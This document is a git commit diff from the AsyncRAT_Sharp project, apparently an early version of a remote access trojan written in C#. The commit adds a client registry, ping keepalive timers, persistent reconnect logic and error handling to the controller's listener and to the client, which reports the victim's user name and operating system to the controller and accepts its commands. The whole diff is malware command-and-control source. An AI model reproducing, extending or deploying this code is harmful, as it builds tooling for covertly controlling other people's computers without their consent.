More stability.
This commit is contained in:
NYAN CAT 2019-01-24 10:17:51 -08:00
parent 3483c7644f
commit 23539823ef
9 changed files with 122 additions and 35 deletions

View File

@ -60,6 +60,7 @@
<Compile Include="MessagePack\WriteTools.cs" /> <Compile Include="MessagePack\WriteTools.cs" />
<Compile Include="Program.cs" /> <Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" /> <Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="Settings.cs" />
<Compile Include="Socket\Clients.cs" /> <Compile Include="Socket\Clients.cs" />
<Compile Include="Socket\Listener.cs" /> <Compile Include="Socket\Listener.cs" />
<EmbeddedResource Include="Form1.resx"> <EmbeddedResource Include="Form1.resx">

View File

@ -37,6 +37,7 @@
this.sendMessageToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.sendMessageToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.statusStrip1 = new System.Windows.Forms.StatusStrip(); this.statusStrip1 = new System.Windows.Forms.StatusStrip();
this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel(); this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel();
this.ping = new System.Windows.Forms.Timer(this.components);
this.contextMenuStrip1.SuspendLayout(); this.contextMenuStrip1.SuspendLayout();
this.statusStrip1.SuspendLayout(); this.statusStrip1.SuspendLayout();
this.SuspendLayout(); this.SuspendLayout();
@ -107,6 +108,12 @@
this.toolStripStatusLabel1.Size = new System.Drawing.Size(24, 25); this.toolStripStatusLabel1.Size = new System.Drawing.Size(24, 25);
this.toolStripStatusLabel1.Text = "..."; this.toolStripStatusLabel1.Text = "...";
// //
// ping
//
this.ping.Enabled = true;
this.ping.Interval = 50000;
this.ping.Tick += new System.EventHandler(this.ping_Tick);
//
// Form1 // Form1
// //
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
@ -135,6 +142,7 @@
private System.Windows.Forms.ToolStripMenuItem sendMessageToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem sendMessageToolStripMenuItem;
private System.Windows.Forms.StatusStrip statusStrip1; private System.Windows.Forms.StatusStrip statusStrip1;
private System.Windows.Forms.ToolStripStatusLabel toolStripStatusLabel1; private System.Windows.Forms.ToolStripStatusLabel toolStripStatusLabel1;
private System.Windows.Forms.Timer ping;
} }
} }

View File

@ -4,6 +4,7 @@ using AsyncRAT_Sharp.MessagePack;
using AsyncRAT_Sharp.Sockets; using AsyncRAT_Sharp.Sockets;
using System.Threading.Tasks; using System.Threading.Tasks;
using Microsoft.VisualBasic; using Microsoft.VisualBasic;
using System.Linq;
namespace AsyncRAT_Sharp namespace AsyncRAT_Sharp
{ {
@ -17,29 +18,32 @@ namespace AsyncRAT_Sharp
async private void Form1_Load(object sender, EventArgs e) async private void Form1_Load(object sender, EventArgs e)
{ {
Listener listener = new Listener(); Listener listener = new Listener();
listener.Connect(8080); listener.Connect(Settings.Port);
while (true) while (true)
{ {
await Task.Delay(1000); await Task.Delay(1000);
toolStripStatusLabel1.Text = string.Format("Online {0}", listView1.Items.Count.ToString()); toolStripStatusLabel1.Text = string.Format("Online {0}", Settings.Online.Count.ToString());
} }
} }
private void sendMessageToolStripMenuItem_Click(object sender, EventArgs e) private void sendMessageToolStripMenuItem_Click(object sender, EventArgs e)
{ {
string URL = Interaction.InputBox("Message", "Message", "Hello World!"); if (listView1.SelectedItems.Count > 0)
if (string.IsNullOrEmpty(URL))
return;
else
{ {
MsgPack msgpack = new MsgPack(); string URL = Interaction.InputBox("Message", "Message", "Hello World!");
msgpack.ForcePathObject("Packet").AsString = "MessageBox"; if (string.IsNullOrEmpty(URL))
msgpack.ForcePathObject("Message").AsString = URL; return;
foreach (ListViewItem C in listView1.SelectedItems) else
{ {
Clients CL = (Clients)C.Tag; MsgPack msgpack = new MsgPack();
CL.BeginSend(msgpack.Encode2Bytes()); msgpack.ForcePathObject("Packet").AsString = "MessageBox";
msgpack.ForcePathObject("Message").AsString = URL;
foreach (ListViewItem C in listView1.SelectedItems)
{
Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes());
}
} }
} }
} }
@ -48,5 +52,20 @@ namespace AsyncRAT_Sharp
{ {
listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize);
} }
private void ping_Tick(object sender, EventArgs e)
{
if (Settings.Online.Count > 0)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Ping";
msgpack.ForcePathObject("Message").AsString = "This is a ping!";
foreach (Clients CL in Settings.Online.ToList())
{
CL.BeginSend(msgpack.Encode2Bytes());
}
}
}
} }
} }

View File

@ -123,4 +123,7 @@
<metadata name="statusStrip1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"> <metadata name="statusStrip1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>234, 17</value> <value>234, 17</value>
</metadata> </metadata>
<metadata name="ping.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>392, 17</value>
</metadata>
</root> </root>

View File

@ -2,6 +2,7 @@
using System.Windows.Forms; using System.Windows.Forms;
using AsyncRAT_Sharp.MessagePack; using AsyncRAT_Sharp.MessagePack;
using System; using System;
using System.Diagnostics;
namespace AsyncRAT_Sharp.Handle_Packet namespace AsyncRAT_Sharp.Handle_Packet
{ {
@ -10,25 +11,38 @@ namespace AsyncRAT_Sharp.Handle_Packet
public delegate void UpdateForm1Delegatevoid(Clients client, byte[] data); public delegate void UpdateForm1Delegatevoid(Clients client, byte[] data);
public static void Read(Clients client, byte[] data) public static void Read(Clients client, byte[] data)
{ {
MsgPack unpack_msgpack = new MsgPack(); try
unpack_msgpack.DecodeFromBytes(data);
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
{ {
case "ClientInfo": MsgPack unpack_msgpack = new MsgPack();
if (Program.form1.listView1.InvokeRequired) unpack_msgpack.DecodeFromBytes(data);
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
{ {
Program.form1.listView1.Invoke(new UpdateForm1Delegatevoid(Read), new object[] { client, data }); case "ClientInfo":
} if (Program.form1.listView1.InvokeRequired)
else {
{ Program.form1.listView1.Invoke(new UpdateForm1Delegatevoid(Read), new object[] { client, data });
client.LV = new ListViewItem(); }
client.LV.Tag = client; else
client.LV.Text = string.Concat(client.Client.RemoteEndPoint.ToString()); {
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString); client.LV = new ListViewItem();
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString); client.LV.Tag = client;
Program.form1.listView1.Items.Insert(0, client.LV); client.LV.Text = string.Concat(client.Client.RemoteEndPoint.ToString());
} client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
break; client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
Program.form1.listView1.Items.Insert(0, client.LV);
}
break;
case "Ping":
{
Debug.WriteLine(unpack_msgpack.ForcePathObject("Message").AsString);
}
break;
}
}
catch(Exception ex)
{
Debug.WriteLine(ex.Message);
} }
} }
} }

View File

@ -0,0 +1,11 @@
using AsyncRAT_Sharp.Sockets;
using System.Collections.Generic;
namespace AsyncRAT_Sharp
{
class Settings
{
public static List<Clients> Online = new List<Clients>();
public static int Port = 8080;
}
}

View File

@ -33,6 +33,7 @@ namespace AsyncRAT_Sharp.Sockets
MS = new MemoryStream(); MS = new MemoryStream();
LV = null; LV = null;
Read += HandlePacket.Read; Read += HandlePacket.Read;
Settings.Online.Add(this);
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null); Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null);
} }
@ -97,12 +98,16 @@ namespace AsyncRAT_Sharp.Sockets
delegate void _isDisconnected(); delegate void _isDisconnected();
public void Disconnected() public void Disconnected()
{ {
if (Program.form1.listView1.InvokeRequired) if (LV != null)
Program.form1.listView1.BeginInvoke(new _isDisconnected(Disconnected));
else
{ {
LV.Remove(); if (Program.form1.listView1.InvokeRequired)
Program.form1.listView1.BeginInvoke(new _isDisconnected(Disconnected));
else
{
LV.Remove();
}
} }
Settings.Online.Remove(this);
try try
{ {
MS.Dispose(); MS.Dispose();

View File

@ -9,7 +9,7 @@ namespace AsyncRAT_Sharp.Sockets
{ {
class Listener class Listener
{ {
public Socket listener; public Socket listener { get; set; }
public async void Connect(int port) public async void Connect(int port)
{ {

View File

@ -16,6 +16,7 @@ namespace Client
public static byte[] Buffer { get; set; } public static byte[] Buffer { get; set; }
public static long Buffersize { get; set; } public static long Buffersize { get; set; }
public static bool BufferRecevied { get; set; } public static bool BufferRecevied { get; set; }
public static Timer Tick { get; set; }
public static MemoryStream MS { get; set; } public static MemoryStream MS { get; set; }
static void Main(string[] args) static void Main(string[] args)
@ -43,6 +44,8 @@ namespace Client
BufferRecevied = false; BufferRecevied = false;
MS = new MemoryStream(); MS = new MemoryStream();
BeginSend(SendInfo()); BeginSend(SendInfo());
TimerCallback T = new TimerCallback(Ping);
Tick = new Timer(T, null, 15000, 30000);
client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null); client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
} }
catch catch
@ -68,6 +71,7 @@ namespace Client
{ {
if (client.Connected == false) if (client.Connected == false)
{ {
Tick.Dispose();
client.Close(); client.Close();
client.Dispose(); client.Dispose();
MS.Dispose(); MS.Dispose();
@ -114,6 +118,7 @@ namespace Client
} }
else else
{ {
Tick.Dispose();
client.Close(); client.Close();
client.Dispose(); client.Dispose();
MS.Dispose(); MS.Dispose();
@ -123,6 +128,7 @@ namespace Client
} }
catch catch
{ {
Tick.Dispose();
client.Close(); client.Close();
client.Dispose(); client.Dispose();
MS.Dispose(); MS.Dispose();
@ -142,9 +148,23 @@ namespace Client
Console.WriteLine(unpack_msgpack.ForcePathObject("Message").AsString); Console.WriteLine(unpack_msgpack.ForcePathObject("Message").AsString);
} }
break; break;
case "Ping":
{
Console.WriteLine(unpack_msgpack.ForcePathObject("Message").AsString);
}
break;
} }
} }
public static void Ping(object obj)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Ping";
msgpack.ForcePathObject("Message").AsString = DateTime.Now.ToLongTimeString().ToString();
BeginSend(msgpack.Encode2Bytes());
}
public static void BeginSend(byte[] Msgs) public static void BeginSend(byte[] Msgs)
{ {
if (client.Connected) if (client.Connected)
@ -163,7 +183,13 @@ namespace Client
} }
} }
catch catch
{ } {
Tick.Dispose();
client.Close();
client.Dispose();
MS.Dispose();
InitializeClient();
}
} }
} }